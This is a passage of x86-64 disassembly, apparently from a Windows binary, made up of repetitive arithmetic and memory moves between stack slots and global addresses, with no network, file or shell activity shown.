mov eax, dword [rsp + 0x6dc0]
mov dword [rsp + 0x6e84], eax
movsx eax, byte [rsp + 0x16b]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x141]
mov byte [0x1402c9125], al
movsx eax, word [rsp + 0x15a0]
mov rcx, qword [rsp + 0xd9e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc230]
mov word [rcx], ax
lea rax, [0x1402c74fc]
mov qword [rsp + 0xe560], rax
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15fc]
add eax, ecx
mov rcx, qword [rsp + 0xe0d0]
mov word [rcx], ax
lea rax, [rsp + 0xc780]
mov qword [rsp + 0xe568], rax
mov rax, qword [rsp + 0xd0c8]
mov rcx, qword [rsp + 0xcfe0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf78], rax
mov rax, qword [rsp + 0xd980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdbe8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe228]
mov eax, dword [rax]
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdff0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdc18]
mov byte [rcx], al
movsx eax, word [rsp + 0x15c4]
movsx ecx, word [rsp + 0x1668]
shl eax, cl
mov word [0x1402c7514], ax
lea rax, [rsp + 0x172c]
mov qword [rsp + 0xe570], rax
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [0x1402c9238]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd670]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1a7]
movzx ecx, byte [rsp + 0x100]
xor eax, ecx
mov rcx, qword [rsp + 0xc368]
mov byte [rcx], al
lea rax, [rsp + 0xc750]
mov qword [rsp + 0xe578], rax
mov eax, dword [rsp + 0x6ac0]
movzx ecx, al
mov eax, dword [0x1402c90a0]
shr eax, cl
mov rcx, qword [rsp + 0xd548]
mov dword [rcx], eax
lea rax, [rsp + 0x6c30]
mov qword [rsp + 0xe580], rax
mov rax, qword [rsp + 0xc8e8]
mov rcx, qword [rsp + 0xbf28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
movzx eax, word [rsp + 0x176c]
mov word [rsp + 0x1acc], ax
lea rax, [rsp + 0xa7]
mov qword [0x1402c9620], rax
movsx eax, byte [rsp + 0x11f]
mov rcx, qword [rsp + 0xdcc0]
movsx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xbef8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd4e8]
movsx eax, word [rax]
mov rcx, qword [0x1402c9310]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd118]
mov word [rcx], ax
movzx eax, byte [rsp + 0x164]
mov byte [rsp + 0x1ab], al
movzx eax, word [rsp + 0x1648]
movzx ecx, word [rsp + 0x1780]
add eax, ecx
mov word [rsp + 0x1914], ax
lea rax, [rsp + 0x6e38]
mov qword [rsp + 0xe588], rax
mov rax, qword [rsp + 0xc678]
mov rcx, qword [rsp + 0xdc40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2c8], rax
mov rax, qword [rsp + 0xc1f0]
mov rcx, qword [rsp + 0xd788]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd458], rax
lea rax, [rsp + 0x6df4]
mov qword [rsp + 0xe590], rax
mov rax, qword [rsp + 0xcb00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1658]
and eax, ecx
mov word [0x1402c9140], ax
movsx eax, byte [rsp + 0x7e]
movsx ecx, byte [rsp + 0x97]
sub eax, ecx
mov rcx, qword [rsp + 0xc058]
mov byte [rcx], al
movzx eax, byte [0x1402c750e]
mov byte [rsp + 0x1ac], al
movsx eax, word [rsp + 0x1a1c]
movsx ecx, word [rsp + 0x17c0]
sub eax, ecx
mov rcx, qword [rsp + 0xd388]
mov word [rcx], ax
mov rax, qword [rsp + 0xcb08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x18c0], ax
lea rax, [0x1402c7498]
mov qword [rsp + 0xe598], rax
mov rax, qword [rsp + 0xc3d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ac8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a0c], eax
mov rax, qword [rsp + 0xced8]
mov qword [rsp + 0xe5a0], rax
mov rax, qword [rsp + 0xc348]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc780]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe238]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd4a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x69]
shl eax, cl
mov rcx, qword [0x1402c9210]
mov byte [rcx], al
mov rax, qword [rsp + 0xd9e8]
movsx eax, word [rax]
mov rcx, qword [0x1402c95d8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x15a8], ax
movzx eax, byte [rsp + 0x18c]
mov byte [rsp + 0x1ad], al
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbd]
sar eax, cl
mov rcx, qword [rsp + 0xd7f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1584]
mov word [rsp + 0x1ad0], ax
mov rax, qword [rsp + 0xc5f8]
mov rcx, qword [rsp + 0xd370]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd230]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6e54]
mov dword [rsp + 0x6e8c], eax
mov rax, qword [rsp + 0xcc20]
mov rcx, qword [rsp + 0xbf38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdad8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xddf0]
mov rcx, qword [rsp + 0xcdf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd0d0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xba]
movsx ecx, byte [rsp + 0xa0]
add eax, ecx
mov byte [0x1402c751a], al
mov rax, qword [rsp + 0xdae8]
movzx eax, word [rax]
mov word [rsp + 0x1ad4], ax
mov rax, qword [0x1402c9200]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe438]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18f8], ax
mov rax, qword [rsp + 0xc9d8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0xd580]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd858]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd670]
mov byte [rcx], al
mov eax, dword [rsp + 0x6dc0]
mov ecx, dword [rsp + 0x6c58]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a84], eax
lea rax, [rsp + 0xc1b8]
mov qword [rsp + 0xe5a8], rax
mov rax, qword [rsp + 0xd468]
mov rcx, qword [rsp + 0xd710]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xdda8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6dbc]
mov dword [rsp + 0x6e90], eax
mov rax, qword [rsp + 0xd028]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1660]
add eax, ecx
mov word [0x1402c75c0], ax
mov rax, qword [rsp + 0xca90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdee8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x154], al
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x117]
xor eax, ecx
mov rcx, qword [rsp + 0xcfa8]
mov byte [rcx], al
movzx eax, word [rsp + 0x19e4]
mov word [rsp + 0x1ad8], ax
movzx eax, byte [rsp + 0x160]
movzx ecx, byte [rsp + 0xb6]
or eax, ecx
mov byte [rsp + 0x11a], al
lea rax, [rsp + 0x6e78]
mov qword [rsp + 0xe5b0], rax
mov rax, qword [rsp + 0xc150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd2a8]
mov qword [rsp + 0xe5b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe5b8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcb70], rax
mov eax, dword [rsp + 0x6e08]
movzx ecx, al
mov eax, dword [rsp + 0x6d94]
shr eax, cl
mov rcx, qword [rsp + 0xbab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd728]
mov rax, qword [rax]
mov qword [rsp + 0xe5c0], rax
mov rax, qword [rsp + 0xca20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1840]
and eax, ecx
mov rcx, qword [0x1402c90c8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd200]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a5c]
mov word [rsp + 0x1adc], ax
movzx eax, byte [rsp + 0x1aa]
mov rcx, qword [rsp + 0xbfb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
mov word [rsp + 0x1ae0], ax
mov rax, qword [rsp + 0xc2d8]
mov rcx, qword [rsp + 0xcc60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd8c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc900], rax
lea rax, [0x1402c7498]
mov qword [rsp + 0xe5c8], rax
mov rax, qword [rsp + 0xcd50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b50], eax
movzx eax, word [rsp + 0x19c0]
mov word [0x1402c9628], ax
lea rax, [rsp + 0xb6]
mov qword [rsp + 0xe5d0], rax
movsx eax, word [rsp + 0x1998]
movsx ecx, word [rsp + 0x15f8]
add eax, ecx
mov word [rsp + 0x181c], ax
mov rax, qword [rsp + 0xd3b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
and eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [0x1402c9328]
movzx eax, word [rax]
mov word [rsp + 0x1ae4], ax
mov rax, qword [rsp + 0xd948]
mov rcx, qword [rsp + 0xdf40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd38]
mov qword [rcx], rax
lea rax, [rsp + 0x6ab4]
mov qword [rsp + 0xe5d8], rax
mov rax, qword [rsp + 0xd058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe0d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc558], rax
mov rax, qword [rsp + 0xd070]
mov rcx, qword [rsp + 0xe530]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcbf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
shl eax, cl
mov rcx, qword [0x1402c90b8]
mov byte [rcx], al
movzx eax, byte [0x1402c74ce]
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0xcbc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a40]
sar eax, cl
mov word [rsp + 0x1a8c], ax
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov word [rsp + 0x1ae8], ax
movsx eax, byte [rsp + 0x11f]
movsx ecx, byte [rsp + 0x191]
add eax, ecx
mov byte [rsp + 0x6c], al
lea rax, [rsp + 0x6e8c]
mov qword [rsp + 0xe5e0], rax
mov rax, qword [rsp + 0xc5c0]
mov rcx, qword [rsp + 0xe268]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xde20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdfa0]
mov rcx, qword [rsp + 0xbe88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdcb8], rax
mov eax, dword [rsp + 0x6a3c]
mov dword [rsp + 0x6e94], eax
mov rax, qword [rsp + 0xbd08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb4]
add eax, ecx
mov rcx, qword [rsp + 0xbc70]
mov byte [rcx], al
movzx eax, word [rsp + 0x1848]
mov rcx, qword [rsp + 0xd938]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c75c4], ax
movzx eax, word [rsp + 0x1698]
mov word [rsp + 0x1aec], ax
movzx eax, byte [rsp + 0x8f]
movzx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd570]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd110]
mov word [rcx], ax
lea rax, [rsp + 0x6bc0]
mov qword [rsp + 0xe5e8], rax
mov rax, qword [rsp + 0xd998]
mov rcx, qword [rsp + 0xc240]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda00], rax
mov rax, qword [rsp + 0xcca8]
mov qword [rsp + 0xe5f0], rax
mov rax, qword [rsp + 0xd340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc960]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0xd6f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x17d], al
movsx eax, byte [rsp + 0xa2]
movsx ecx, byte [rsp + 0xf4]
shl eax, cl
mov rcx, qword [0x1402c94b0]
mov byte [rcx], al
lea rax, [rsp + 0x179c]
mov qword [rsp + 0xe5f8], rax
mov rax, qword [rsp + 0xdd40]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c90b6]
xor eax, ecx
mov byte [rsp + 0x1a0], al
lea rax, [rsp + 0x83]
mov qword [rsp + 0xe600], rax
mov rax, qword [rsp + 0xde98]
mov rcx, qword [rsp + 0xc840]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xe198]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdf58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6dac]
shr eax, cl
mov rcx, qword [rsp + 0xe590]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc890]
mov eax, dword [rax]
mov dword [rsp + 0x6e98], eax
mov rax, qword [rsp + 0xbec0]
mov rcx, qword [rsp + 0xc280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd658]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1ac0]
mov word [rsp + 0x1af0], ax
mov rax, qword [0x1402c9308]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcb00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c75c8], ax
mov rax, qword [rsp + 0xbc70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
and eax, ecx
mov byte [rsp + 0x6a], al
movzx eax, byte [0x1402c74bb]
mov byte [rsp + 0x1b0], al
movsx eax, word [rsp + 0x16fc]
movsx ecx, word [rsp + 0x1728]
add eax, ecx
mov rcx, qword [rsp + 0xd338]
mov word [rcx], ax
mov rax, qword [rsp + 0xce30]
mov rcx, qword [rsp + 0xe160]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbe78], rax
mov eax, dword [rsp + 0x6a2c]
mov dword [rsp + 0x6e9c], eax
mov rax, qword [rsp + 0xe1f0]
mov rcx, qword [rsp + 0xc988]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcf98]
mov qword [rcx], rax
lea rax, [rsp + 0x69a4]
mov qword [rsp + 0xe608], rax
movzx eax, byte [rsp + 0x17a]
movzx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov byte [rsp + 0xac], al
movzx eax, word [rsp + 0x159c]
movzx ecx, word [rsp + 0x1834]
add eax, ecx
mov word [0x1402c9450], ax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0xd228]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a2], al
mov rax, qword [0x1402c9558]
movzx eax, word [rax]
mov word [rsp + 0x1af4], ax
movsx eax, word [rsp + 0x1aac]
movsx ecx, word [rsp + 0x186c]
add eax, ecx
mov word [rsp + 0x1a54], ax
lea rax, [rsp + 0x1768]
mov qword [rsp + 0xe610], rax
mov rax, qword [rsp + 0xbdb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a14], eax
mov rax, qword [rsp + 0xdd28]
mov rcx, qword [rsp + 0xe038]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcae8], rax
mov rax, qword [rsp + 0xd680]
mov rax, qword [rax]
mov qword [rsp + 0xe618], rax
mov rax, qword [rsp + 0xc290]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcd50]
mov qword [rsp + 0xe620], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe620]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x699c], eax
movzx eax, byte [rsp + 0xb7]
mov rcx, qword [rsp + 0xca18]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1402c9468]
mov byte [rcx], al
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0xe628], rax
movsx eax, word [0x1402c749c]
movsx ecx, word [rsp + 0x17a8]
xor eax, ecx
mov word [rsp + 0x17fc], ax
movzx eax, byte [rsp + 0xad]
mov byte [rsp + 0x1b1], al
movsx eax, word [rsp + 0x16f0]
movsx ecx, word [rsp + 0x154c]
and eax, ecx
mov word [rsp + 0x194c], ax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xdbd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xded8], rax
mov eax, dword [rsp + 0x6cbc]
mov dword [rsp + 0x6ea0], eax
mov rax, qword [rsp + 0xc6e0]
mov rcx, qword [rsp + 0xc258]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc170], rax
mov rax, qword [rsp + 0xdae0]
mov eax, dword [rax]
mov dword [rsp + 0x6ea4], eax
lea rax, [rsp + 0x1784]
mov qword [0x1402c9630], rax
mov rax, qword [rsp + 0xddf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe168]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xde], al
movsx eax, word [0x1402c9370]
mov rcx, qword [rsp + 0xc798]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc838]
mov word [rcx], ax
lea rax, [rsp + 0x13c]
mov qword [rsp + 0xe630], rax
mov rax, qword [rsp + 0xd660]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1558]
add eax, ecx
mov rcx, qword [rsp + 0xcfd8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc300]
mov qword [rsp + 0xe638], rax
mov rax, qword [rsp + 0xdf58]
mov rcx, qword [rsp + 0xdc88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbbf8]
mov dword [rcx], eax
lea rax, [rsp + 0xc5c0]
mov qword [rsp + 0xe640], rax
movzx eax, byte [rsp + 0x19c]
mov rcx, qword [rsp + 0xe390]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c92f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc940]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc760]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x184c], ax
movzx eax, byte [0x1402c74ba]
mov byte [rsp + 0x1b2], al
mov rax, qword [rsp + 0xd298]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb50]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc430]
mov byte [rcx], al
movsx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0xd558]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0xcd18]
mov rax, qword [rax]
mov qword [rsp + 0xe648], rax
mov rax, qword [rsp + 0xcaf8]
mov rcx, qword [rsp + 0xc9f8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe2e0], rax
mov eax, dword [rsp + 0x6b74]
mov dword [rsp + 0x6ea8], eax
mov eax, dword [0x1402c7498]
cdq
idiv dword [rsp + 0x6e24]
mov rcx, qword [rsp + 0xdc10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1714]
mov word [0x1402c9638], ax
lea rax, [rsp + 0x154]
mov qword [rsp + 0xe650], rax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0xd798]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0xd778]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17dc]
add eax, ecx
mov word [rsp + 0x1698], ax
lea rax, [rsp + 0x1798]
mov qword [rsp + 0xe658], rax
mov rax, qword [rsp + 0xda38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbcb0], rax
mov eax, dword [rsp + 0x6b88]
mov dword [rsp + 0x6eac], eax
mov rax, qword [rsp + 0xe588]
mov rcx, qword [rsp + 0xc338]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b20], eax
mov rax, qword [rsp + 0xc450]
mov rcx, qword [rsp + 0xd0b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xde88]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x17e]
mov rcx, qword [rsp + 0xe0b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c9260]
mov byte [rcx], al
lea rax, [rsp + 0x10a]
mov qword [rsp + 0xe660], rax
movzx eax, word [rsp + 0x173c]
movzx ecx, word [rsp + 0x1680]
imul eax, ecx
mov rcx, qword [rsp + 0xe0d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc228]
movzx eax, byte [rax]
mov byte [rsp + 0x1b3], al
movsx eax, word [rsp + 0x1aa8]
movsx ecx, word [rsp + 0x1a50]
add eax, ecx
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0xc8f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c48], eax
mov eax, dword [rsp + 0x69d0]
mov dword [rsp + 0x6eb0], eax
mov rax, qword [rsp + 0xcba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd578]
mov qword [rcx], rax
lea rax, [rsp + 0xde38]
mov qword [rsp + 0xe668], rax
lea rax, [rsp + 0x1940]
mov qword [0x1402c9640], rax
mov rax, qword [rsp + 0xccb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc0]
add eax, ecx
mov byte [rsp + 0x8e], al
movzx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0xdff0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc9d8]
mov byte [rcx], al
lea rax, [rsp + 0x17e8]
mov qword [rsp + 0xe670], rax
movsx eax, byte [rsp + 0x153]
movsx ecx, byte [rsp + 0x80]
shl eax, cl
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0xe5e0]
mov eax, dword [rax]
mov dword [rsp + 0x6eb4], eax
mov rax, qword [rsp + 0xceb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc948]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcc70]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc50]
mov qword [rsp + 0xe678], rax
mov eax, dword [rsp + 0x6a80]
mov ecx, dword [rsp + 0x6cb8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c54], eax
movsx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0xc828]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [reloc.SHELL32.dll_ILFindChild], al
movzx eax, byte [rsp + 0x83]
mov rcx, qword [rsp + 0xdd70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x195], al
lea rax, [0x1402c750c]
mov qword [rsp + 0xe680], rax
movsx eax, word [rsp + 0x1aa4]
mov rcx, qword [rsp + 0xc710]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17c0], ax
lea rax, [rsp + 0x1a44]
mov qword [rsp + 0xe688], rax
mov rax, qword [rsp + 0xbe18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6af4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc7f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc7b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6be8], eax
mov rax, qword [rsp + 0xc1e8]
mov rax, qword [rax]
mov qword [rsp + 0xe690], rax
mov rax, qword [rsp + 0xdc28]
mov rcx, qword [rsp + 0xdec0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdd30], rax
mov rax, qword [rsp + 0xd688]
movzx eax, word [rax]
mov word [rsp + 0x1af8], ax
movsx eax, byte [rsp + 0x88]
mov rcx, qword [rsp + 0xd738]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c751b], al
movzx eax, word [rsp + 0x1858]
mov rcx, qword [rsp + 0xe420]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x15b0], ax
movzx eax, byte [rsp + 0x190]
movzx ecx, byte [rsp + 0x56]
add eax, ecx
mov byte [rsp + 0x1a4], al
mov rax, qword [rsp + 0xc140]
movzx eax, word [rax]
mov word [rsp + 0x1afc], ax
mov rax, qword [rsp + 0xcaf8]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbdf0], rax
mov eax, dword [rsp + 0x69d8]
mov dword [rsp + 0x6eb8], eax
mov rax, qword [rsp + 0xe608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c84], eax
lea rax, [rsp + 0xc9f0]
mov qword [rsp + 0xe698], rax
movzx eax, word [rsp + 0x1784]
movzx ecx, word [rsp + 0x1a28]
shl eax, cl
mov word [rsp + 0x17e0], ax
mov rax, qword [rsp + 0xd040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc708]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402c74fa], al
movzx eax, word [rsp + 0x1a28]
mov rcx, qword [rsp + 0xdbf0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x18a8], ax
mov rax, qword [rsp + 0xcd10]
movzx eax, byte [rax]
mov byte [rsp + 0x1b4], al
mov rax, qword [rsp + 0xdc18]
movzx eax, byte [rax]
mov rcx, qword [0x1402c9160]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc708]
mov byte [rcx], al
lea rax, [rsp + 0x6cb0]
mov qword [rsp + 0xe6a0], rax
mov rax, qword [rsp + 0xbf98]
mov rcx, qword [rsp + 0xcbb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd280], rax
mov rax, qword [rsp + 0xc920]
mov rcx, qword [rsp + 0xba88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xda20], rax
mov eax, dword [rsp + 0x6d50]
mov dword [rsp + 0x6ebc], eax
movsx eax, byte [rsp + 0xc3]
movsx ecx, byte [rsp + 0x167]
sub eax, ecx
mov rcx, qword [rsp + 0xc1e0]
mov byte [rcx], al
lea rax, [rsp + 0x12d]
mov qword [0x1402c9648], rax
lea rax, [0x1402c748c]
mov qword [rsp + 0xe6a8], rax
mov rax, qword [rsp + 0xd768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe200]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1604], ax
mov rax, qword [rsp + 0xc088]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
add eax, ecx
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0xcf80]
mov qword [rsp + 0xe6b0], rax
mov eax, dword [rsp + 0x6e34]
mov ecx, dword [rsp + 0x6a0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x69b4], eax
lea rax, [rsp + 0x6a30]
mov qword [rsp + 0xe6b8], rax
mov rax, qword [rsp + 0xe330]
mov rcx, qword [rsp + 0xd6d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
movsx eax, word [rsp + 0x1568]
